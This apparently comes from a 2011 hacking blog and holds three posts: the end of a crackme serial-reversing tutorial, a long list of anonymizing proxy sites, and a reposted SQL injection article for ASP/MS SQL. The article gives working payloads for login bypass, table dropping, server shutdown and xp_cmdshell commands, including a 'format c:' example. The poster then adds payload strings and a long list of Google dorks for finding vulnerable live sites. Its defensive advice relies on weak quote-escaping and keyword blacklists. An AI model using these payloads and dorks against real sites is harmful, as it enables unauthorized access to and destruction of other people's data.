The difference is that we have now completed the call at 0040122D and we're now at 00401232 waiting to continue. Congratulations you've just traced your first call and now you understand exactly how this applications processes a username! Now see if you can follow the same procedure for the second call below! Trace into it with F7 and see what you can find...... set a break point first so that if you mess up you can try again or pick this guide up where you left off!

------------------------------------
Section 6 - Starting With The Serial
------------------------------------

How did you get on? Lets find out....

Firstly we see EAX is pushed to the stack (we know that this contains our summed username XOR'd with 5678 from the previous call) and then our entered serial (123456) is pushed to the stack too. We can then use F7 to trace our second call. We land here :

004013D8 /$ 33C0 XOR EAX,EAX
004013DA |. 33FF XOR EDI,EDI
004013DC |. 33DB XOR EBX,EBX
004013DE |. 8B7424 04 MOV ESI,DWORD PTR SS:[ESP+4]
004013E2 |> B0 0A /MOV AL,0A
004013E4 |. 8A1E |MOV BL,BYTE PTR DS:[ESI]
004013E6 |. 84DB |TEST BL,BL
004013E8 |. 74 0B |JE SHORT Crackme1.004013F5
004013EA |. 80EB 30 |SUB BL,30
004013ED |. 0FAFF8 |IMUL EDI,EAX
004013F0 |. 03FB |ADD EDI,EBX
004013F2 |. 46 |INC ESI
004013F3 |.^EB ED \JMP SHORT Crackme1.004013E2
004013F5 |> 81F7 34120000 XOR EDI,1234
004013FB |. 8BDF MOV EBX,EDI
004013FD \. C3 RETN

The first three lines should be no issue - we're clearing the EAX, EDI and EBX registers by XORing them with themselves. Following this, our Serial number is moved into ESI and the processing begins.


---------------------------------
Section 7 - Processing The Serial
---------------------------------

So you should be at the beginning of the loop at 004013E2. Lets try and work out whats going on here. Firstly, 0A (10) is moved into AL and then the first character of our serial (1 in my case) is moved into BL before being tested for 0 in the usual way. Note though that EBX contains 31 rather than 1 i.e. the hexadecimal representation of the character 1.

After this, 30 is subtracted from our number i.e. 31-30 in my case. Then EAX and EDI are multiplied and our processed character added to the result. This is then stored in EDI.

In other words, EDI holds (31-30) + (10x0) = 1 ; after one iteration on my serial. The process is then repeated but this time, remember that EDI is no longer 0 so when EDI is multiplied by EAX, we get a different result. i.e.

1 (previous iteration) + ( (32-30) + (10x1) ) = 0C

Continue this trough the rest of your serial and we get a final result (1e240 in my case). Actually, what this has done is to convert our serial to hex!

So we jump out of the loop and land at 004013F5. This is interesting - remember in the last call where the username was uppercased and XOR'd with 5678h? Well here we've just hexed the serial and now we're XORing it with 1234h (result is 1f074 in my case)!

Simple really! The result is then moved from EDI to EBX and we jump back to our initial piece of code again!


----------------------------
Section 8 - The Final Stages
----------------------------

This is it..... the final stages of the crackme. We jump back to here :
0040123D . 83C4 04 ADD ESP,4
00401240 . 58 POP EAX
00401241 . 3BC3 CMP EAX,EBX
00401243 . 74 07 JE SHORT Crackme1.0040124C
00401245 . E8 18010000 CALL Crackme1.00401362
0040124A .^EB 9A JMP SHORT Crackme1.004011E6
0040124C > E8 FC000000 CALL Crackme1.0040134D

The first line is a quick stack cleanup which then leaves our processed username value (54A4 in my case) on the top of the stack. This is then popped to EAX.

Then comes the critical comparison :
00401241 . 3BC3 CMP EAX,EBX

EAX (the result of our username being processed) and EBX are compared - the two values should look familiar as they are the results of our two calls i.e. in my case they are 54A4 and 1f074.

The next jump statement is the critical one - if the two values in EAX and EBX are equal, we jump to the call statement at the bottom of the above code extract.... this is our success box! (Hence the reason I said we could patch this jump to jump if not equal rather than if equal). If EAX and EBX are not equal, we dont jump and we are taken down the 'No luck there mate' routine - this is where I go on this occasion as 123456 is not my correct serial.


-----------------------------------
Section 9 - Determining Your Serial
-----------------------------------

So, we have found that the crucial operation is a comparison of our processed username and our processed serial. Specifically, our processed serial give the same result as our processed username in order to be valid. So how do we achieve this?

Well, this is where knowledge of the XOR function brings us through. We know that :
if A XOR B = C
then C XOR B = A.

So how is this useful?
Well, looking at the way the serial is processed, our entered serial in hex XOR with 1234 must equal our processed username (in my case 54A4). Using the above reasoning then, our serial is our processed username XOR with 1234 i.e. (for me)

Serial for FaTaLPrIdE = 54A4 XOR 1234

5 4 A 4 = 0101 0100 1010 0100
1 2 3 4 = 0001 0010 0011 0100
SERIAL = 0100 0110 1001 0000 = 4690h

Convert to Decimal = 16 + 128 + 512 + 1024 + 16384 = 18064
(we need to do this as we are reversing the fact that our program coverts the decimal serial we entered into hex).

Hence I have username FaTaLPrIdE (not case sensitive due to the uppercasing routine) and serial 18064.


-----------------------
Section 10 - Conclusion
-----------------------

So thats it! I hope you enjoyed this and found it useful. As I say, I'm a complete beginner at this so I thought a beginners guide written by a beginner would be useful to a few people.

If you like this, just pop a comment below and let me know. Similarly, if you have a criticism or improvement, I'd like to hear it too. Please don't tell me it was too simple though as that was the point of the article - to explain as much as I could for those who have never used a debugger before.

I'd recommend trying crackme 2 if you get a chance. Personally, I think its easier than this one - use the same techniques and work out how your password is being dealt with. I'll write a tutorial when I get a chance, but feel free to PM me if you want a helping hand before the article is out.

As you for you reading this because level 8 is bothering you, I hope this will help you out. Level 8 has a few extra tricks up its sleeve but if you've got that far, you should be able to sort through them. Just logically step through and work out exactly what is happening - write it down to keep note.

Thanks for reading. Please dont reproduce this on other sites - its written specifically for the Geeks ;-)

Sunday, 13 February 2011

Exploration Of All Proxies

Anonymouse – A very good free anonymizer. By using this CGI proxy you can anonymously surf web pages, send anonymous e-mails and look at news.
ProxyKing.net – This anonymizer service keeps websites from tracking your internet movements by preventing them from placing cookies on your home computer.
AnonymousIndex.com – Anonymous private surfing service, hide your ip, manage website ads, referrers and cookies through this free web based proxy.
HideMyAss.com – Free anonymous browsing, for the times when you REALLY need to hide your ass online!
ProxyFoxy.com – Proxy Foxy offers you free anonymous surfing. With our free tool you can surf the Internet safe and secure without revealing your identity. Avoid cookies, spyware and other malicious scripts.




http://www.perfectproxy.com/
http://www.primeproxy.com/
http://www.proxyaware.com/
http://www.proxycraze.com/
http://www.proxygasp.com/
http://www.proxyplease.com/
http://www.someproxy.com/
http://www.stupidproxy.com/
http://ipchicken.com
http://www.Stealth-ip.com
http://www.Stealth-ip.org
http://www.Stealth-ip.us
http://www.Stealth-ip.info
http://poxy.us.to/
http://www.BlockFilter.com
http://www.ecoproxy.com/
http://www.coreproxy.com/
http://proxymy.com/
http://www.illegalproxy.com/
http://www.filterfakeout.com/
http://www.privacybrowsing.com/
http://www.w00tage.com/
http://www.aplusproxy.com/
http://www.arandomproxy.com/
http://www.w3privacy.com/
http://argentinaproxy.com
http://hotyogasite.com
http://damaliens.com
http://swagproxy.com
http://cloak-me.info
http://247websurf.com
http://proxify.net
http://salemguide.info
http://your-proxy.org
http://amandas-proxy.info
http://co-i.info
http://w3privacy.com
http://thecrazynetwork.com
http://pajaxy.com
http://mtgtv.com
http://visitriga.info
http://gfun.info
http://surfsizzle.com
http://thecrazycall.com
http://proxify.com

http://www.proxy1.info/
http://www.proxy2info/
http://www.proxy3.info/
http://www.proxy4.info/
http://www.proxy5.info/
http://www.proxy6.info/
http://www.proxy7.info/
http://www.proxy8.info/
http://www.proxy9.info/
http://www.proxy10.info/
http://www.proxy11.info/
http://www.proxy12.info/
http://www.proxy13.info/
http://www.proxy14.info/
http://www.proxy15.info/
http://www.proxy16.info/
http://www.proxy17.info/
http://www.proxy18.info/
http://www.proxy19.info/
http://www.proxy20.info/
http://www.proxyok.com/

http://www.boredatwork.info/
http://www.anonymousurfing.info/
http://www.browsingwork.com/
http://www.freeproxyserver.org/
http://www.browseany.com/
http://www.browsesecurely.com/
http://IEproxy.com/
http://www.sneak3.po.gs/
http://www.proxytastic.com/
http://www.freewebproxy.org/
http://www.thecgiproxy.com/
http://www.hide-me.be/
http://www.anotherproxy.com/
http://www.proxy77.com/
http://www.surf-anon.com/
http://www.free-proxy.info/
http://www.theproxysite.info/
http://www.proxyify.info/
http://www.concealme.com/

http://imsneaky.com
http://lawi.info
http://fieldcollege.info
http://bigredhot.com
http://portugalproxy.com
http://aboutgreatbritain.info
http://surf24h.com
http://xoxy.com
http://proxyparadise.info
http://proxycrib.com
http://unblock.biz
http://newzealandproxy.com
http://your-proxy.info
http://privatproxy.com
http://filterfreesurfing.com
http://allaccessproxy.com
http://hotwinebaskets.com
http://spainwine.info
http://couldfind.info
http://proxy-blog.com
http://serfs.info
http://macaoguide.info
http://proxoid.com
http://rentaustin.info
http://safesurfingweb.com
http://proxyfans.com
http://metnyc.info
http://speedroxi.com
http://ehide.info
http://ipow.info
http://babyboomerco.com
http://proxclub.com
http://anonysurf.nl
http://mylittleproxy.com
http://gz299.com
http://us-proxy.com
http://goinvis.com
http://freeproxy.in
http://onesimpleproxy.com
http://supaproxy.net
http://dedicatedproxy.com
http://india-proxy.com
http://greekdating.info
http://reliableproxy.com
http://dontshowmyip.info

http://proxcool.com
http://prxy.net.ms
http://hidip.info
http://cutmy.info
http://hidelink.ingo
http://xoogie.net
http://oproxy.info
http://stealth-ip.net
http://safeforwork.net
http://vtunnel.com
http://freeproxy.ru/en/free_proxy/cg...
http://proxydrop.com/
http://proxydrop.net/
http://proxydrop.biz/
http://proxydrop.info/
http://proxydrop.org/
http://backfox.com
http://ninjaproxy.com/
http://atunnel.com
http://vpntunnel.net
http://btunnel.com
http://ctunnel.com
http://dtunnel.com
http://proxyhost.org
http://webproxy.dk
http://phproxy.frac.dk
http://phproxy.1go.dk
http://proxify.com
http://home.no.net/roughnex
http://nomorefilter.com
http://rapidwire.net
http://oproxy.info
http://stealth-ip.net
http://cooltunnell.com
http://schoolsurf.com
http://anonymouse.org

http://megaproxy.com/
http://amegaproxy.com/
http://theproxy.be/
http://newproxy.be/
http://projectbypass.com/
http://smartproxy.net/
http://proxy.org/cgi_proxies.shtml
http://hidebehind.net
http://Proxy7.com
http://pcriot.com/
http://tools.rosinstrument.com/cgi-p...
http://www.proxyspider.com/index.php
http://welazy.com/nick
http://reallycoolproxy.com
http://vidznet.com/index.php?pid=3
http://proxyholic.com

http://www.freeproxy.ru/index.htm
http://www.freeproxy.ru/ru/index.htm
http://www.freeproxy.ru/
http://www.freeproxy.info/
http://www.freeproxy.ru/ru/index.htm
http://www.freeproxy.ru/en/programs/
http://www.freeproxy.ru/en/free_proxy/
http://www.freeproxy.ru/en/misc.htm
http://www.freeproxy.ru/en/news.htm
http://www.freeproxy.ru/en/contacts/
http://www.checker.freeproxy.ru/checker/
http://www.freeproxy.ru/shop/
http://www.forum.freeproxy.ru/
http://anonymouse.ws/

Wednesday, 9 February 2011

Full SQL Injection Tutorial (MySQL) Update with Basics

Now most of us here to learn how to hack ?? but i know also there is some few people here own websites , so they can prevent the sqli attack too .

-- I didn't wrote this topic , i just found it in some website and i'll post it the link @ the end of the topic ..... so this work is not mine .

Some stuff here is not totally new , but for Newbies like me it's really good . so enough talk and let's start .

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ :

The database is the heart of most Web applications: it stores the data needed for the Websites and applications to "survive". It stores user credentials and sensitive financial information. It stores preferences, invoices, payments, inventory data, etc. It is through the combination of a database and Web scripting language that we as developers can produce sites that keep clients happy, pay the bills, and -- most importantly -- run our businesses.

But what happens when you realize that your critical data may not be safe? What happens when you realize that a new security bug has just been found? Most likely you either patch it or upgrade your database server to a later, bug-free version. Security flaws and patches are found all the time in both databases and programming languages, but I bet 9 out of 10 of you have never heard of SQL injection attacks...

In this article I'll attempt to shed some light on this under-documented attack, explaining what an SQL injection attack is and how you can prevent one from occurring within your company. By the end of this article you'll be able to identify situations where an SQL injection attack may allow unauthorized persons to penetrate your system, and you'll learn ways to fix existing code to prevent an SQL injection attack.

What is an SQL Injection Attack?
As you may know, SQL stands for Structured Query Language. It comes in many different dialects, most of which are based on the SQL-92 ANSI standard. An SQL query comprises one or more SQL commands, such as SELECT, UPDATE or INSERT. For SELECT queries, each query typically has a clause by which it returns data, for example:

SELECT * FROM Users WHERE userName = 'justin';

The clause in the SQL query above is WHERE username = 'justin', meaning that we only want the rows from the Users table returned where the userName field is equal to the string value of Justin.

It's these types of queries that make the SQL language so popular and flexible... it's also what makes it open to SQL injection attacks. As the name suggests, an SQL injection attack "injects" or manipulates SQL code. By adding unexpected SQL to a query, it is possible to manipulate a database in many unanticipated ways.

One of the most popular ways to validate a user on a Website is to provide them with an HTML form through which they can enter their username and password. Let's assume that we have the following simple HTML form:

<form name="frmLogin" action="login.asp" method="post">
Username: <input type="text" name="userName">
Password: <input type="text" name="password">
<input type="submit">
</form>

When the form is submitted, the contents of the username and password fields are passed to the login.asp script, and are available to that script through the Request.Form collection. The easiest way to validate this user would be to build an SQL query, and then check that query against the database to see whether that user exists. We could create a login.asp script like this:

<%

dim userName, password, query
dim conn, rS

userName = Request.Form("userName")
password = Request.Form("password")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select count(*) from users where userName='" &
userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Logged In"
else
response.write "Bad Credentials"
end if

%>

In the example above, the user either sees "Logged In" if their credentials matched a record in the database, or "Bad Credentials" if they didn't. Before we continue, let's create the database that we have queried in the sample code.

Let's also create a users table with some dummy records:

create database myDB
go

use myDB
go

create table users
(
userId int identity(1,1) not null,
userName varchar(50) not null,
userPass varchar(20) not null
)

insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('fsmith', 'mypassword')

So if I entered a username of john and password of doe, then I would be presented with the text "Logged In". The query would look something like this:

select count(*) from users where userName='john' and userPass='doe'

There's nothing insecure or dangerous about this query... is there? Maybe not at first glance, but what about if I entered a username of john and a password of ' or 1=1 --

The resultant query would now look like this:

select count(*) from users where userName='john' and userPass=''
or 1=1 --'

In the example above I've italicised the username and password so they are a bit easier to read, but basically what happens is that the query now only checks for any user with a username field of john. Instead of checking for a matching password, it now checks for an empty password, or the conditional equation of 1=1. This means that if the password field is empty OR 1 equals 1 (which it does), then a valid row has been found in the users table. Notice how the last quote is commented out with a single-line comment delimiter (--). This stops ASP from returning an error about any unclosed quotations.

So with the login.asp script we created above, one row would be returned, and the text "Logged In" would be displayed. We could take this a bit further by doing the same thing to the username field, like this:

Username: ' or 1=1 ---
Password: [Empty]

This would execute the following query against the users table:

select count(*) from users where userName='' or 1=1 --' and userPass=''

The query above now returns a count of all rows in the user table. This is the perfect example of an SQL injection attack: adding code that manipulates the contents of a query to perform an undesired result.

Another popular way to validate a user against a table of logins is to compare their details against the table, and retrieve the valid username from the database, like this:

query = "select userName from users where userName='" &
userName & "' and userPass='" & password & "'"

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Logged In As " & rs.fields(0).value
else
response.write "Bad Credentials"
end if

So, if we entered a username of john and a password of doe, then we would be presented with:

Logged In As john

However, if we used the following login credentials:

Username: ' or 1=1 ---
Password: [Anything]

Then we would also be logged in as John, because the row whose username field is John comes first in the list, based on the insert queries we saw earlier:

insert into users(userName, userPass) values('john', 'doe')
insert into users(userName, userPass) values('admin', 'wwz04ff')
insert into users(userName, userPass) values('fsmith', 'mypassword')

Injection Attack Examples
Forcing a login through a HTML form like the one we just saw on is a typical example of an SQL injection attack, and we'll look at ways to fix these types of attacks a little later.

But first, I want to take a look at some examples of SQL injection attack executions. First of, let's stick with our example login form, which contains a username and password field.

Example #1

Microsoft SQL Server has its own dialect of SQL, which is called Transact SQL, or TSQL for short. We can exploit the power of TSQL in a number of ways to show how SQL injection attacks work. Consider the following query, which is based on the users table we created on the last page:

select userName from users where userName='' having 1=1

If you're an SQL buff, then you'll no doubt be aware that this query raises an error. We can easily make our login.asp page query our database with this query by using these login credentials:

Username: ' having 1=1 ---

Password: [Anything]

When I click on the submit button to start the login process, the SQL query causes ASP to spit the following error to the browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'users.userName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause.

/login.asp, line 16

Well well. It appears that this error message now tells the unauthorized user the name of one field from the database that we were trying to validate the login credentials against: users.userName. Using the name of this field, we can now use SQL Server's LIKE keyword to login with the following credentials:

Username: ' or users.userName like 'a%' ---
Password: [Anything]

Once again, this performs an injected SQL query against our users table:

select userName from users where userName='' or
users.userName like 'a%' --' and userPass=''

When we created the users table, we also created a user whose userName field was admin and userPass field was wwz04ff. Logging in with the username and password shown above uses SQL's like keyword to get the username. The query grabs the userName field of the first row whose userName field starts with a, which in this case is admin:

Logged In As admin

Example #2

SQL Server, among other databases, delimits queries with a semi-colon. The use of a semi-colon allows multiple queries to be submitted as one batch and executed sequentially, for example:

select 1; select 1+2; select 1+3;

...would return three recordsets. The first would contain the value 1, the second the value 3, and the third the value 4, etc. So, if we logged in with the following credentials:

Username: ' or 1=1; drop table users; --
Password: [Anything]

Then the query would execute in two parts. Firstly, it would select the userName field for all rows in the users table. Secondly, it would delete the users table, so that when we went to login next time, we would see the following error:

Microsoft OLE DB Provider for SQL Server (0x80040E37)
Invalid object name 'users'.
/login.asp, line 16

Example #3

The last example relating to our login form that we'll consider is the execution of TSQL specific commands and extended stored procedures. Many Websites use the default system account (sa) user when logging into SQL Server from their ASP scripts or applications. By default, this user has access to all commands and can delete, rename, and add databases, tables, triggers, and more.

One of SQL Server's most powerful commands is SHUTDOWN WITH NOWAIT, which causes SQL Server to shutdown, immediately stopping the Windows service. To restart SQL server after this command is issued, you need to use the SQL service manager or some other method of restarting SQL server.

Once again, this command can be exploited through our login example:

Username: '; shutdown with nowait; --
Password: [Anything]

This would make our login.asp script run the following query:

select userName from users where userName='';
shutdown with nowait; --' and userPass=''

If the user is set up as the default sa account, or the user has the required privileges, then SQL server will shut down, and will require a restart before it will function again.

SQL Server also includes several extended stored procedures, which are basically special C++ DLL's that can contain powerful C/C++ code to manipulate the server, read directories and the registries, delete files, run the command prompt, etc. All extended stored procedures exist under the master database and are prefixed with "xp_".

There are several extended stored procedures that can cause permanent damage to a system. We can execute an extended stored procedure using our login form with an injected command as the username, like this:

Username: '; exec master..xp_xxx; --
Password: [Anything]

All we have to do is pick the appropriate extended stored procedure and replace xp_xxx with its name in the sample above. For example, if IIS was installed on the same machine as SQL Server (which is typical for small one/two man setups), then we could restart it by using the xp_cmdshell extended stored procedure (which executes a command string as an operating-system command) and IIS reset. All we need to do is enter the following user credentials into our getlogin.asp page:

Username: '; exec master..xp_cmdshell 'iisreset'; --
Password: [Anything]

This would send the following query to SQL Server:

select userName from users where userName='';
exec master..xp_cmdshell 'iisreset'; --' and userPass=''

As I'm sure you'll agree, this can cause serious problems, and with the right commands, can cause an entire Website to malfunction.

Example #4

OK, time to move away from looking at the login.asp script and onto another common method to perform an SQL injection attack.

How many times have you been to a Website that sells you favourite gear and seen a URL like this:

www.mysite.com/products.asp?productId=2

Obviously the 2 is the ID of the product, and a lot of sites would simply build a query around the productId querystring variable, like this:

Select prodName from products where id = 2

Before we continue, let's assume that we have the following table and rows setup on our SQL server:

create table products
(
id int identity(1,1) not null,
prodName varchar(50) not null,
)

insert into products(prodName) values('Pink Hoola Hoop')
insert into products(prodName) values('Green Soccer Ball')
insert into products(prodName) values('Orange Rocking Chair')

Let's also assume that we have created the following ASP script, and called it products.asp:

<%

dim prodId
prodId = Request.QueryString("productId")

set conn = server.createObject("ADODB.Connection")
set rs = server.createObject("ADODB.Recordset")

query = "select prodName from products where id = " & prodId

conn.Open "Provider=SQLOLEDB; Data Source=(local);
Initial Catalog=myDB; User Id=sa; Password="
rs.activeConnection = conn
rs.open query

if not rs.eof then
response.write "Got product " & rs.fields("prodName").value
else
response.write "No product found"
end if

%>

So if we visited products.asp in the browser with the following URL:

http://localhost/pro...asp?productId=1

...we'd see the following line of text in our browser:

Got product Pink Hoola Hoop

Notice that this time around, product.asp returns a field from the recordset based on the field's name:

response.write "Got product " & rs.fields("prodName").value

Although this may seem more secure, it really isn't, and we can still manipulate the database just as we have in our last three examples. Notice also that this time the WHERE clause of the query is based on a numerical value:

query = "select prodName from products where id = " & prodId

In order for the products.asp page to function correctly, all that's required is a numerical product Id passed as the productId querystring variable. Getting around this isn't too much of a problem, however. Consider the following URL to products.asp:

http://localhost/pro...Id=0%20or%201=1

Each %20 in the URL represents a URL-encoded space character, so the URL really looks like this:

http://localhost/pro...asp?productId=0 or 1=1

When used in conjunction with products.asp, the query looks like this:

select prodName from products where id = 0 or 1=1

Using a bit of know-how and some URL-encoding, we can just as easily pull the name of the products field from the products table:

http://localhost/pro...%20having%201=1

This would produce the following error in the browser:

Microsoft OLE DB Provider for SQL Server (0x80040E14)

Column 'products.prodName' is invalid in the select
list because it is not contained in an aggregate
function and there is no GROUP BY clause.

/products.asp, line 13

Now, we can take the name of the products field (products.prodName) and call up the following URL in the browser:

http://localhost/pro...into%20products
(prodName)%20values(left(@@version,50))

Here's the query without the URL-encoded spaces:

http://localhost/pro...ductId=0;insert into
products(prodName) values(left(@@version,50))

Basically it returns "No product found", however it also runs an INSERT query on the products table, adding the first 50 characters of SQL server's @@version variable (which contains the details of SQL Server's version, build, etc.) as a new record in the products table.

In a real-life situation, you would obviously have to exploit the products table more than this as it would contain dozens of other fields, however the methods would remain the same.

To get to the version, it's now a simple matter of calling up the products.asp page with the value of the latest entry in the products table, like this:

http://localhost/pro...select%20max(id)
%20from%20products)

What this query does is grab the ID of the latest row added to the products table using SQL server's MAX function. The result outputs the new row that contains the SQL server version details:

Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86)

This method of injection can be used to perform numerous tasks. However the point of this article was to give tips on how to prevent SQL injection attacks, which is what we will look at next.

Preventing SQL Injection Attacks
If you design your scripts and applications with care, SQL injection attacks can be avoided most of the time. There are a number of things that we as developers can do to reduce our site's susceptibility to attack. Here's a list (in no particular order) of our options:

Limit User Access

The default system account (sa) for SQL server 2000 should never be used because of its unrestricted nature. You should always setup specific accounts for specific purposes.

For example, if you run a database that lets users of your site view and order products, then you should set up a user called webUser_public that has SELECT rights on the products table, and INSERT rights only on the orders table.

If you don't make use of extended stored procedures, or have unused triggers, stored procedures, user-defined functions, etc, then remove them, or move them to an isolated server. Most extremely damaging SQL injection attacks attempt to make use of several extended stored procedures such as xp_cmdshell and xp_grantlogin, so by removing them, you're theoretically blocking the attack before it can occur.

Escape Quotes

As we've seen from the examples discussed above, the majority of injection attacks require the user of single quotes to terminate an expression. By using a simple replace function and converting all single quotes to two single quotes, you're greatly reducing the chance of an injection attack succeeding.

Using ASP, it's a simple matter of creating a generic replace function that will handle the single quotes automatically, like this:

<%

function stripQuotes(strWords)
stripQuotes = replace(strWords, "'", "''")
end function

%>

Now if we use the stripQuotes function in conjunction with our first query for example, then it would go from this:

select count(*) from users where userName='john' and
userPass='' or 1=1 --'

...to this:

select count(*) from users where userName='john'' and
userPass=''' or 1=1 --'

This, in effect, stops the injection attack from taking place, because the clause for the WHERE query now requires both the userName and userPass fields to be valid.

Remove Culprit Characters/Character Sequences

As we've seen in this article, certain characters and character sequences such as ;, --, select, insert and xp_ can be used to perform an SQL injection attack. By removing these characters and character sequences from user input before we build a query, we can help reduce the chance of an injection attack even further.

As with the single quote solution, we just need a basic function to handle all of this for us:

<%

function killChars(strWords)

dim badChars
dim newChars

badChars = array("select", "drop", ";", "--", "insert",
"delete", "xp_")
newChars = strWords

for i = 0 to uBound(badChars)
newChars = replace(newChars, badChars(i), "")
next

killChars = newChars

end function

%>

Using stripQuotes in combination with killChars greatly removes the chance of any SQL injection attack from succeeding. So if we had the query:

select prodName from products where id=1; xp_cmdshell 'format
c: /q /yes '; drop database myDB; --

and ran it through stripQuotes and then killChars, it would end up looking like this:

prodName from products where id=1 cmdshell ''format c:
/q /yes '' database myDB

...which is basically useless, and will return no records from the query.

Limit the Length of User Input

It's no good having a text box on a form that can accept 50 characters if the field you'll compare it against can only accept 10. By keeping all text boxes and form fields as short as possible, you're taking away the number of characters that can be used to formulate an SQL injection attack.

If you're accepting a querystring value for a product ID or the like, always use a function to check if the value is actually numeric, such as the IsNumeric() function for ASP. If the value isn't numeric, then either raise an error or redirect the user to another page where they can choose a product.

Also, always try to post your forms with the method attribute set to POST, so clued-up users don't get any ideas --- they might if they saw your form variables tacked onto the end of the URL.

Conclusion
In this article we've seen what an SQL injection attack is and also how to tamper with forms and URLs to product the results of an attack.

It's not always possible to guard against every type of SQL injection attack, however, hopefully you now know about the various types of SQL injection attacks that exist and have also planned ways to combat them on your servers.

Although we've only looked at SQL injection attacks with Microsoft SQL server in this article, keep in mind that no database is safe: SQL injection attacks can also occur on MySQL and Oracle database servers -- among others.

------ This Article belongs to : http://articles.site...on-attacks-safe/ ------

Here is the a Complete List of SQL Injection Strings & how to use it to find vulnerable sites (this is not belong to the article above ) :
[code]inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
...................................................

admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

use those 2 together in front of the (=) sign like this :

www.somesiteindex.php?id= admin'--
or
www.somesiteplay_old.php?id="a"="a

if you get error like this (you have an error in your sql syntax ; check the manual that correspond to you MYSQl ) , so this site is vulnerable to SQLi .

I hope we always share good stuff here .
http://www.mysite.com/products.asp?productId=2
www.mysite.com

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

pls post ur queries.....!!!! if any occurs ....n wait for next update !!! from hackeramit4u@gmail.com
____________________________________________________________________________

Full SQL Injection Tutorial (MySQL) Dorks

inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
